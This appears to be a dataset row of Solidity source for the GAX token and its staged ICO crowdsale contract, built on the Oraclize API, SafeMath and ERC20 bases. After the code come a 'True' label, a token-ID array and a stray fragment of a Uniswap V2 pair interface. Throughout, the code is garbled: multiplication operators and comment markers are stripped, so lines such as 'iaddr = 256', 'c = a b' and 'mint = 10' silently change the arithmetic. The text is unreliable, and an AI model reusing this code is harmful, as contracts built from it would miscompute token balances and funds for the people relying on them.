gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_cbAddress() oraclizeAPI internal returns (address){ return oraclize.cbAddress(); } function oraclize_setProof(byte proofP) oraclizeAPI internal { return oraclize.setProofType(proofP); } function oraclize_setCustomGasPrice(uint gasPrice) oraclizeAPI internal { return oraclize.setCustomGasPrice(gasPrice); } function oraclize_randomDS_getSessionPubKeyHash() oraclizeAPI internal returns (bytes32){ return oraclize.randomDS_getSessionPubKeyHash(); } function getCodeSize(address _addr) constant internal returns(uint _size) { assembly { _size := extcodesize(_addr) } } function parseAddr(string _a) internal pure returns (address){ bytes memory tmp = bytes(_a); uint160 iaddr = 0; uint160 b1; uint160 b2; for (uint i=2; i<2+220; i+=2){ iaddr = 256; b1 = uint160(tmp[i]); b2 = uint160(tmp[i+1]); if ((b1 >= 97)&&(b1 <= 102)) b1 -= 87; else if ((b1 >= 65)&&(b1 <= 70)) b1 -= 55; else if ((b1 >= 48)&&(b1 <= 57)) b1 -= 48; if ((b2 >= 97)&&(b2 <= 102)) b2 -= 87; else if ((b2 >= 65)&&(b2 <= 70)) b2 -= 55; else if ((b2 >= 48)&&(b2 <= 57)) b2 -= 48; iaddr += (b116+b2); } return address(iaddr); } function strCompare(string _a, string _b) internal pure returns (int) { bytes memory a = bytes(_a); bytes memory b = bytes(_b); uint minLength = a.length; if (b.length < minLength) minLength = b.length; for (uint i = 0; i < minLength; i ++) if (a[i] < b[i]) return -1; else if (a[i] > b[i]) return 1; if (a.length < b.length) return -1; else if (a.length > b.length) return 1; else return 0; } function indexOf(string _haystack, string _needle) internal pure returns (int) { bytes memory h = bytes(_haystack); bytes memory n = bytes(_needle); if(h.length < 1 \|\| n.length < 1 \|\| (n.length > h.length)) return -1; else if(h.length > (2*128 -1)) return -1; else { uint subindex = 0; for (uint i = 0; i < h.length; i ++) { if (h[i] == n[0]) { subindex = 1; while(subindex < n.length && (i + subindex) < h.length && h[i + subindex] == n[subindex]) { subindex++; } if(subindex == n.length) return int(i); } } return -1; } } function strConcat(string _a, string _b, string _c, string _d, string _e) internal pure returns (string) { bytes memory _ba = bytes(_a); bytes memory _bb = bytes(_b); bytes memory _bc = bytes(_c); bytes memory _bd = bytes(_d); bytes memory _be = bytes(_e); string memory abcde = new string(_ba.length + _bb.length + _bc.length + _bd.length + _be.length); bytes memory babcde = bytes(abcde); uint k = 0; for (uint i = 0; i < _ba.length; i++) babcde[k++] = _ba[i]; for (i = 0; i < _bb.length; i++) babcde[k++] = _bb[i]; for (i = 0; i < _bc.length; i++) babcde[k++] = _bc[i]; for (i = 0; i < _bd.length; i++) babcde[k++] = _bd[i]; for (i = 0; i < _be.length; i++) babcde[k++] = _be[i]; return string(babcde); } function strConcat(string _a, string _b, string _c, string _d) internal pure returns (string) { return strConcat(_a, _b, _c, _d, ""); } function strConcat(string _a, string _b, string _c) internal pure returns (string) { return strConcat(_a, _b, _c, "", ""); } function strConcat(string _a, string _b) internal pure returns (string) { return strConcat(_a, _b, "", "", ""); } // parseInt function parseInt(string _a) internal pure returns (uint) { return parseInt(_a, 0); } // parseInt(parseFloat10^_b) function parseInt(string _a, uint _b) internal pure returns (uint) { bytes memory bresult = bytes(_a); uint mint = 0; bool decimals = false; for (uint i=0; i<bresult.length; i++){ if ((bresult[i] >= 48)&&(bresult[i] <= 57)){ if (decimals){ if (_b == 0) break; else _b--; } mint = 10; mint += uint(bresult[i]) - 48; } else if (bresult[i] == 46) decimals = true; } if (_b > 0) mint = 10*_b; return mint; } function uint2str(uint i) internal pure returns (string){ if (i == 0) return "0"; uint j = i; uint len; while (j != 0){ len++; j /= 10; } bytes memory bstr = new bytes(len); uint k = len - 1; while (i != 0){ bstr[k--] = byte(48 + i % 10); i /= 10; } return string(bstr); } using CBOR for Buffer.buffer; function stra2cbor(string[] arr) internal pure returns (bytes) { safeMemoryCleaner(); Buffer.buffer memory buf; Buffer.init(buf, 1024); buf.startArray(); for (uint i = 0; i < arr.length; i++) { buf.encodeString(arr[i]); } buf.endSequence(); return buf.buf; } function ba2cbor(bytes[] arr) internal pure returns (bytes) { safeMemoryCleaner(); Buffer.buffer memory buf; Buffer.init(buf, 1024); buf.startArray(); for (uint i = 0; i < arr.length; i++) { buf.encodeBytes(arr[i]); } buf.endSequence(); return buf.buf; } string oraclize_network_name; function oraclize_setNetworkName(string _network_name) internal { oraclize_network_name = _network_name; } function oraclize_getNetworkName() internal view returns (string) { return oraclize_network_name; } function oraclize_newRandomDSQuery(uint _delay, uint _nbytes, uint _customGasLimit) internal returns (bytes32){ require((_nbytes > 0) && (_nbytes <= 32)); // Convert from seconds to ledger timer ticks _delay = 10; bytes memory nbytes = new bytes(1); nbytes[0] = byte(_nbytes); bytes memory unonce = new bytes(32); bytes memory sessionKeyHash = new bytes(32); bytes32 sessionKeyHash_bytes32 = oraclize_randomDS_getSessionPubKeyHash(); assembly { mstore(unonce, 0x20) // the following variables can be relaxed // check relaxed random contract under ethereum-examples repo // for an idea on how to override and replace comit hash vars mstore(add(unonce, 0x20), xor(blockhash(sub(number, 1)), xor(coinbase, timestamp))) mstore(sessionKeyHash, 0x20) mstore(add(sessionKeyHash, 0x20), sessionKeyHash_bytes32) } bytes memory delay = new bytes(32); assembly { mstore(add(delay, 0x20), _delay) } bytes memory delay_bytes8 = new bytes(8); copyBytes(delay, 24, 8, delay_bytes8, 0); bytes[4] memory args = [unonce, nbytes, sessionKeyHash, delay]; bytes32 queryId = oraclize_query("random", args, _customGasLimit); bytes memory delay_bytes8_left = new bytes(8); assembly { let x := mload(add(delay_bytes8, 0x20)) mstore8(add(delay_bytes8_left, 0x27), div(x, 0x100000000000000000000000000000000000000000000000000000000000000)) mstore8(add(delay_bytes8_left, 0x26), div(x, 0x1000000000000000000000000000000000000000000000000000000000000)) mstore8(add(delay_bytes8_left, 0x25), div(x, 0x10000000000000000000000000000000000000000000000000000000000)) mstore8(add(delay_bytes8_left, 0x24), div(x, 0x100000000000000000000000000000000000000000000000000000000)) mstore8(add(delay_bytes8_left, 0x23), div(x, 0x1000000000000000000000000000000000000000000000000000000)) mstore8(add(delay_bytes8_left, 0x22), div(x, 0x10000000000000000000000000000000000000000000000000000)) mstore8(add(delay_bytes8_left, 0x21), div(x, 0x100000000000000000000000000000000000000000000000000)) mstore8(add(delay_bytes8_left, 0x20), div(x, 0x1000000000000000000000000000000000000000000000000)) } oraclize_randomDS_setCommitment(queryId, keccak256(delay_bytes8_left, args[1], sha256(args[0]), args[2])); return queryId; } function oraclize_randomDS_setCommitment(bytes32 queryId, bytes32 commitment) internal { oraclize_randomDS_args[queryId] = commitment; } mapping(bytes32=>bytes32) oraclize_randomDS_args; mapping(bytes32=>bool) oraclize_randomDS_sessionKeysHashVerified; function verifySig(bytes32 tosignh, bytes dersig, bytes pubkey) internal returns (bool){ bool sigok; address signer; bytes32 sigr; bytes32 sigs; bytes memory sigr_ = new bytes(32); uint offset = 4+(uint(dersig[3]) - 0x20); sigr_ = copyBytes(dersig, offset, 32, sigr_, 0); bytes memory sigs_ = new bytes(32); offset += 32 + 2; sigs_ = copyBytes(dersig, offset+(uint(dersig[offset-1]) - 0x20), 32, sigs_, 0); assembly { sigr := mload(add(sigr_, 32)) sigs := mload(add(sigs_, 32)) } (sigok, signer) = safer_ecrecover(tosignh, 27, sigr, sigs); if (address(keccak256(pubkey)) == signer) return true; else { (sigok, signer) = safer_ecrecover(tosignh, 28, sigr, sigs); return (address(keccak256(pubkey)) == signer); } } function oraclize_randomDS_proofVerify__sessionKeyValidity(bytes proof, uint sig2offset) internal returns (bool) { bool sigok; // Step 6: verify the attestation signature, APPKEY1 must sign the sessionKey from the correct ledger app (CODEHASH) bytes memory sig2 = new bytes(uint(proof[sig2offset+1])+2); copyBytes(proof, sig2offset, sig2.length, sig2, 0); bytes memory appkey1_pubkey = new bytes(64); copyBytes(proof, 3+1, 64, appkey1_pubkey, 0); bytes memory tosign2 = new bytes(1+65+32); tosign2[0] = byte(1); //role copyBytes(proof, sig2offset-65, 65, tosign2, 1); bytes memory CODEHASH = hex"fd94fa71bc0ba10d39d464d0d8f465efeef0a2764e3887fcc9df41ded20f505c"; copyBytes(CODEHASH, 0, 32, tosign2, 1+65); sigok = verifySig(sha256(tosign2), sig2, appkey1_pubkey); if (sigok == false) return false; // Step 7: verify the APPKEY1 provenance (must be signed by Ledger) bytes memory LEDGERKEY = hex"7fb956469c5c9b89840d55b43537e66a98dd4811ea0a27224272c2e5622911e8537a2f8e86a46baec82864e98dd01e9ccc2f8bc5dfc9cbe5a91a290498dd96e4"; bytes memory tosign3 = new bytes(1+65); tosign3[0] = 0xFE; copyBytes(proof, 3, 65, tosign3, 1); bytes memory sig3 = new bytes(uint(proof[3+65+1])+2); copyBytes(proof, 3+65, sig3.length, sig3, 0); sigok = verifySig(sha256(tosign3), sig3, LEDGERKEY); return sigok; } modifier oraclize_randomDS_proofVerify(bytes32 _queryId, string _result, bytes _proof) { // Step 1: the prefix has to match 'LP\x01' (Ledger Proof version 1) require((_proof[0] == "L") && (_proof[1] == "P") && (_proof[2] == 1)); bool proofVerified = oraclize_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), oraclize_getNetworkName()); require(proofVerified); _; } function oraclize_randomDS_proofVerify__returnCode(bytes32 _queryId, string _result, bytes _proof) internal returns (uint8){ // Step 1: the prefix has to match 'LP\x01' (Ledger Proof version 1) if ((_proof[0] != "L")\|\|(_proof[1] != "P")\|\|(_proof[2] != 1)) return 1; bool proofVerified = oraclize_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), oraclize_getNetworkName()); if (proofVerified == false) return 2; return 0; } function matchBytes32Prefix(bytes32 content, bytes prefix, uint n_random_bytes) internal pure returns (bool){ bool match_ = true; require(prefix.length == n_random_bytes); for (uint256 i=0; i< n_random_bytes; i++) { if (content[i] != prefix[i]) match_ = false; } return match_; } function oraclize_randomDS_proofVerify__main(bytes proof, bytes32 queryId, bytes result, string context_name) internal returns (bool){ // Step 2: the unique keyhash has to match with the sha256 of (context name + queryId) uint ledgerProofLength = 3+65+(uint(proof[3+65+1])+2)+32; bytes memory keyhash = new bytes(32); copyBytes(proof, ledgerProofLength, 32, keyhash, 0); if (!(keccak256(keyhash) == keccak256(sha256(context_name, queryId)))) return false; bytes memory sig1 = new bytes(uint(proof[ledgerProofLength+(32+8+1+32)+1])+2); copyBytes(proof, ledgerProofLength+(32+8+1+32), sig1.length, sig1, 0); // Step 3: we assume sig1 is valid (it will be verified during step 5) and we verify if 'result' is the prefix of sha256(sig1) if (!matchBytes32Prefix(sha256(sig1), result, uint(proof[ledgerProofLength+32+8]))) return false; // Step 4: commitment match verification, keccak256(delay, nbytes, unonce, sessionKeyHash) == commitment in storage. // This is to verify that the computed args match with the ones specified in the query. bytes memory commitmentSlice1 = new bytes(8+1+32); copyBytes(proof, ledgerProofLength+32, 8+1+32, commitmentSlice1, 0); bytes memory sessionPubkey = new bytes(64); uint sig2offset = ledgerProofLength+32+(8+1+32)+sig1.length+65; copyBytes(proof, sig2offset-64, 64, sessionPubkey, 0); bytes32 sessionPubkeyHash = sha256(sessionPubkey); if (oraclize_randomDS_args[queryId] == keccak256(commitmentSlice1, sessionPubkeyHash)){ //unonce, nbytes and sessionKeyHash match delete oraclize_randomDS_args[queryId]; } else return false; // Step 5: validity verification for sig1 (keyhash and args signed with the sessionKey) bytes memory tosign1 = new bytes(32+8+1+32); copyBytes(proof, ledgerProofLength, 32+8+1+32, tosign1, 0); if (!verifySig(sha256(tosign1), sig1, sessionPubkey)) return false; // verify if sessionPubkeyHash was verified already, if not.. let's do it! if (oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] == false){ oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] = oraclize_randomDS_proofVerify__sessionKeyValidity(proof, sig2offset); } return oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash]; } // the following function has been written by Alex Beregszaszi (@axic), use it under the terms of the MIT license function copyBytes(bytes from, uint fromOffset, uint length, bytes to, uint toOffset) internal pure returns (bytes) { uint minLength = length + toOffset; // Buffer too small require(to.length >= minLength); // Should be a better way? // NOTE: the offset 32 is added to skip the `size` field of both bytes variables uint i = 32 + fromOffset; uint j = 32 + toOffset; while (i < (32 + fromOffset + length)) { assembly { let tmp := mload(add(from, i)) mstore(add(to, j), tmp) } i += 32; j += 32; } return to; } // the following function has been written by Alex Beregszaszi (@axic), use it under the terms of the MIT license // Duplicate Solidity's ecrecover, but catching the CALL return value function safer_ecrecover(bytes32 hash, uint8 v, bytes32 r, bytes32 s) internal returns (bool, address) { // We do our own memory management here. Solidity uses memory offset // 0x40 to store the current end of memory. We write past it (as // writes are memory extensions), but don't update the offset so // Solidity will reuse it. The memory used here is only needed for // this context. // FIXME: inline assembly can't access return values bool ret; address addr; assembly { let size := mload(0x40) mstore(size, hash) mstore(add(size, 32), v) mstore(add(size, 64), r) mstore(add(size, 96), s) // NOTE: we can reuse the request memory because we deal with // the return code ret := call(3000, 1, 0, size, 128, size, 32) addr := mload(size) } return (ret, addr); } // the following function has been written by Alex Beregszaszi (@axic), use it under the terms of the MIT license function ecrecovery(bytes32 hash, bytes sig) internal returns (bool, address) { bytes32 r; bytes32 s; uint8 v; if (sig.length != 65) return (false, 0); // The signature format is a compact form of: // {bytes32 r}{bytes32 s}{uint8 v} // Compact means, uint8 is not padded to 32 bytes. assembly { r := mload(add(sig, 32)) s := mload(add(sig, 64)) // Here we are loading the last 32 bytes. We exploit the fact that // 'mload' will pad with zeroes if we overread. // There is no 'mload8' to do this, but that would be nicer. v := byte(0, mload(add(sig, 96))) // Alternative solution: // 'byte' is not working due to the Solidity parser, so lets // use the second best option, 'and' // v := and(mload(add(sig, 65)), 255) } // albeit non-transactional signatures are not specified by the YP, one would expect it // to match the YP range of [27, 28] // // geth uses [0, 1] and some clients have followed. This might change, see: // https://github.com/ethereum/go-ethereum/issues/2053 if (v < 27) v += 27; if (v != 27 && v != 28) return (false, 0); return safer_ecrecover(hash, v, r, s); } function safeMemoryCleaner() internal pure { assembly { let fmem := mload(0x40) codecopy(fmem, codesize, sub(msize, fmem)) } } } // </ORACLIZE_API> /** * @title SafeMath * @dev Math operations with safety checks that throw on error / library SafeMath { /* * @dev Multiplies two numbers, throws on overflow. / function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. / function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). / function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /* * @dev Adds two numbers, throws on overflow. / function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } /* * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". / contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /* * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. / function Ownable() public { owner = msg.sender; } /* * @dev Throws if called by any account other than the owner. / modifier onlyOwner() { require(msg.sender == owner); _; } /* * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. / function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } /* * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 / contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /* * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 / contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /* * @title Basic token * @dev Basic version of StandardToken, with no allowances. / contract BasicToken is ERC20Basic, Ownable { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; address public addressReserve = 0x9781656F43dFc79969e7AEDCD651E1b10b16688f; uint256 public summReserve; uint256 public usedSummReserve; uint256 public unlockDate1 = 1578268800; // Mon, 06 Jan 2020 00:00:00 +0000 uint256 public unlockDate2 = 1609891200; // Wed, 06 Jan 2021 00:00:00 +0000 /* * @dev total number of tokens in existence / function totalSupply() public view returns (uint256) { return totalSupply_; } /* * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. / function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); //Reserve 50% blocked for 1 years, 50% blocked for 2 years if (msg.sender == addressReserve){ require(now >= unlockDate1); if (now <= unlockDate2){ usedSummReserve = usedSummReserve.add(_value); require(usedSummReserve <= summReserve.div(2)); } } balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /* * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. / function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } /* * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol / contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /* * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred / function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); //Reserve 50% blocked for 1 years, 50% blocked for 2 years if (_to == addressReserve){ require(now >= unlockDate1); if (now <= unlockDate2){ usedSummReserve = usedSummReserve.add(_value); require(usedSummReserve <= summReserve.div(2)); } } balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /* * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. / function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /* * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. / function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /* * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. / function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /* * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. / function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /* * @title Mintable token * @dev Simple ERC20 Token example, with mintable token creation * @dev Issue: * https://github.com/OpenZeppelin/openzeppelin-solidity/issues/120 * Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol / contract MintableToken is StandardToken { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } /* * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. / function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) { totalSupply_ = totalSupply_.add(_amount); balances[_to] = balances[_to].add(_amount); emit Mint(_to, _amount); emit Transfer(address(0), _to, _amount); return true; } /* * @dev Function to stop minting new tokens. * @return True if the operation was successful. / function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; emit MintFinished(); return true; } } contract GAX is Ownable, MintableToken { using SafeMath for uint256; string public constant name = "GAX"; string public constant symbol = "GaxCoin"; uint32 public constant decimals = 18; address public addressFounders; address public addressDevelopers; address public addressAdvisors; address public addressPrivateSale; uint256 public summFounders; uint256 public summDevelopers; uint256 public summAdvisors; uint256 public summPrivateSale; function GAX() public { addressFounders = 0x84BD54A29C146aba039469c7f75DFE59CfEBC392; addressDevelopers = 0xDdf1710D2C555786d2981CaBc986cc0e575b12F3; addressAdvisors = 0xab8367DF2F67f065242A13E3644138bc16312784; addressPrivateSale = 0x8a19501c2842bE5110f4Dc12234fB788BA1f5A97; // Token distribution summFounders = 40000000 (10 ** uint256(decimals)); summDevelopers = 20000000 * (10 ** uint256(decimals)); summAdvisors = 20000000 * (10 ** uint256(decimals)); summReserve = 80000000 * (10 ** uint256(decimals)); summPrivateSale = 120000000 * (10 uint256(decimals)); mint(addressFounders, summFounders); mint(addressDevelopers, summDevelopers); mint(addressAdvisors, summAdvisors); mint(addressReserve, summReserve); mint(addressPrivateSale, summPrivateSale); } } / * @title Crowdsale * @dev Crowdsale is a base contract for managing a token crowdsale. * Crowdsales have a start and end timestamps, where Contributors can make * token Contributions and the crowdsale will assign them tokens based * on a token per ETH rate. Funds collected are forwarded to a wallet * as they arrive. The contract requires a MintableToken that will be * minted as contributions arrive, note that the crowdsale contract * must be owner of the token in order to be able to mint it. / contract Crowdsale is Ownable, usingOraclize { using SafeMath for uint256; GAX public token; // for ORACLIZE string public ETHUSD; uint256 rateGAXUSD; event updatedPrice(string price); event newOraclizeQuery(string description); // start and end timestamps where investments are allowed (both inclusive) uint256 public startICOStage1; uint256 public endICOStage1; uint256 public startICOStage2; uint256 public endICOStage2; uint256 public startICOStage3; uint256 public endICOStage3; uint256 public startICOStage4; uint256 public endICOStage4; //Hard cap uint256 public sumHardCapPublicSale; //token distribution uint256 public sumPublicSale; uint256 public minimumPayment; uint256 public totalSoldTokens; // how many token units a Contributor gets per wei uint256 public rateIco; //Whitelist subscriber, extra-bonus 5% in all steps mapping (address => uint32) public extraBonus; // address where funds are collected address public wallet; address public agencyWallet; // uint256 public unlockMintDate1; uint256 public unlockMintDate2; uint256 public usedResidualAmount; /* * event for token Procurement logging * @param contributor who Pledged for the tokens * @param beneficiary who got the tokens * @param value weis Contributed for Procurement * @param amount amount of tokens Procured / event TokenProcurement(address indexed contributor, address indexed beneficiary, uint256 value, uint256 amount, address indexed referrer, uint256 amountReferrer); function Crowdsale() public { token = createTokenContract(); // rate; rateIco = 36408; //2 decimals rateGAXUSD = 909; //2 decimals // start and end timestamps where investments are allowed //start/end for stage of ICO startICOStage1 = 1536451200; // Sun, 09 Sep 2018 00:00:00 +0000 endICOStage1 = 1538956800; // Mon, 08 Oct 2018 00:00:00 +0000 startICOStage2 = 1538956800; // Mon, 08 Oct 2018 00:00:00 +0000 endICOStage2 = 1541462400; // Tue, 06 Nov 2018 00:00:00 +0000 startICOStage3 = 1541462400; // Tue, 06 Nov 2018 00:00:00 +0000 endICOStage3 = 1544054400; // Thu, 06 Dec 2018 00:00:00 +0000 startICOStage4 = 1544054400; // Thu, 06 Dec 2018 00:00:00 +0000 endICOStage4 = 1546732800; // Sun, 06 Jan 2019 00:00:00 +0000 unlockMintDate1 = 1578268800; // Mon, 06 Jan 2020 00:00:00 +0000 unlockMintDate2 = 1609891200; // Wed, 06 Jan 2021 00:00:00 +0000 sumHardCapPublicSale = 120000000 1 ether; minimumPayment = 100000000000000000; // 0.1 ether // address where funds are collected wallet = 0x5b251B70629f4502E4a666A20eF0ABBDc74417f7; agencyWallet = 0xbabE2C106e427a5000eA385080A7ED9B6927a1B6; } function setRateIco(uint256 _rateIco) public onlyOwner { rateIco = _rateIco; } // if bonus = 1 then extra Bonus = 5%. if bonus = 0 then extra Bonus = 0%. function setWhiteList(address _address, uint32 _bonus) public onlyOwner { extraBonus[_address] = _bonus; } function addAddressToWhiteList(address[] _addr) public onlyOwner { for(uint256 i = 0; i < _addr.length; i++) { extraBonus[_addr[i]] = 1; } } function subAddressToWhiteList(address[] _addr) public onlyOwner { for(uint256 i = 0; i < _addr.length; i++) { extraBonus[_addr[i]] = 0; } } // fallback function can be used to Procure tokens function () external payable { procureTokens(msg.sender); } function createTokenContract() internal returns (GAX) { return new GAX(); } function getRateIcoWithBonus() public view returns (uint256) { uint256 bonus; uint256 extrabonus; //extraBonus if (extraBonus[msg.sender] == 1){ extrabonus = 5; } //ICO if (now >= startICOStage1 && now < endICOStage1){ bonus = 50; } if (now >= startICOStage2 && now < endICOStage2){ bonus = 30; } if (now >= startICOStage3 && now < endICOStage3){ bonus = 20; } if (now >= startICOStage4 && now < endICOStage4){ bonus = 10; } return rateIco + rateIco.mul(bonus).div(100) + rateIco.mul(extrabonus).div(100); } function checkHardCap(uint256 _value) view internal { //PublicSale if (now >= startICOStage1 && now < endICOStage4){ require(_value.add(sumPublicSale) <= sumHardCapPublicSale); } } function adjustHardCap(uint256 _value) internal { //PublicSale if (now >= startICOStage1 && now < endICOStage4){ sumPublicSale = sumPublicSale.add(_value); } } function bytesToAddress(bytes source) internal pure returns(address) { uint result; uint mul = 1; for(uint i = 20; i > 0; i--) { result += uint8(source[i-1])mul; mul = mul256; } return address(result); } function procureTokens(address _beneficiary) public payable { uint256 tokens; uint256 weiAmount = msg.value; uint256 rate; uint256 referrerTokens; address referrer; require(weiAmount >= minimumPayment); require(now >= startICOStage1); require(now <= endICOStage4); require(_beneficiary != address(0)); rate = getRateIcoWithBonus(); tokens = weiAmount.mul(rate).mul(rateGAXUSD).div(10000); //referral system if(msg.data.length == 20) { referrer = bytesToAddress(bytes(msg.data)); require(referrer != msg.sender); //add tokens to the referrer referrerTokens = tokens.mul(5).div(100); // add tokens to the referral tokens = tokens + tokens.mul(5).div(100); } checkHardCap(tokens.add(referrerTokens)); adjustHardCap(tokens.add(referrerTokens)); updatePrice(); agencyWallet.transfer(weiAmount.mul(3).div(100)); //wallet.transfer(_this.balance); if (referrerTokens != 0){ token.mint(referrer, referrerTokens); } token.mint(_beneficiary, tokens); emit TokenProcurement(msg.sender, _beneficiary, weiAmount, tokens, referrer, referrerTokens); } function transferEthToWallet(uint256 _value) public onlyOwner { address _this = this; require(_this.balance >= _value); wallet.transfer(_value); } function mint(address _to, uint256 _amount) public onlyOwner { uint256 residualAmount; //Reserve 50% blocked for 1 years, 50% blocked for 2 years residualAmount = sumHardCapPublicSale.sub(sumPublicSale); require(now >= unlockMintDate1); usedResidualAmount = usedResidualAmount.add(_amount); if (now <= unlockMintDate2){ require(usedResidualAmount <= residualAmount.div(2)); } require(usedResidualAmount <= residualAmount); token.mint(_to, _amount); } function __callback(bytes32 /myid/, string result) public { require (msg.sender == oraclize_cbAddress()); rateIco = parseInt(result, 2); emit updatedPrice(result); } function updatePrice() public payable { address _this = this; if (oraclize_getPrice("URL") > _this.balance) { emit newOraclizeQuery("Oraclize query was NOT sent, please add some ETH to cover for the query fee"); } else { emit newOraclizeQuery("Oraclize query was sent, standing by for the answer.."); oraclize_query("URL", "json(https://api.coinmarketcap.com/v1/ticker/ethereum/?convert=USD).0.price_usd"); } } }	True	[ 101, 10975, 8490, 2863, 5024, 3012, 1014, 1012, 1018, 1012, 2484, 1025, 1013, 1013, 1026, 2030, 6305, 3669, 4371, 1035, 17928, 1028, 1013, 1008, 9385, 1006, 1039, 1007, 2325, 1011, 2355, 2030, 6305, 3669, 4371, 5034, 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// SPDX-License-Identifier: UNLICENSED // https://github.com/Uniswap/uniswap-v2-core/blob/master/contracts/interfaces/IUniswapV2Pair.sol pragma solidity ^0.7.0; interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); 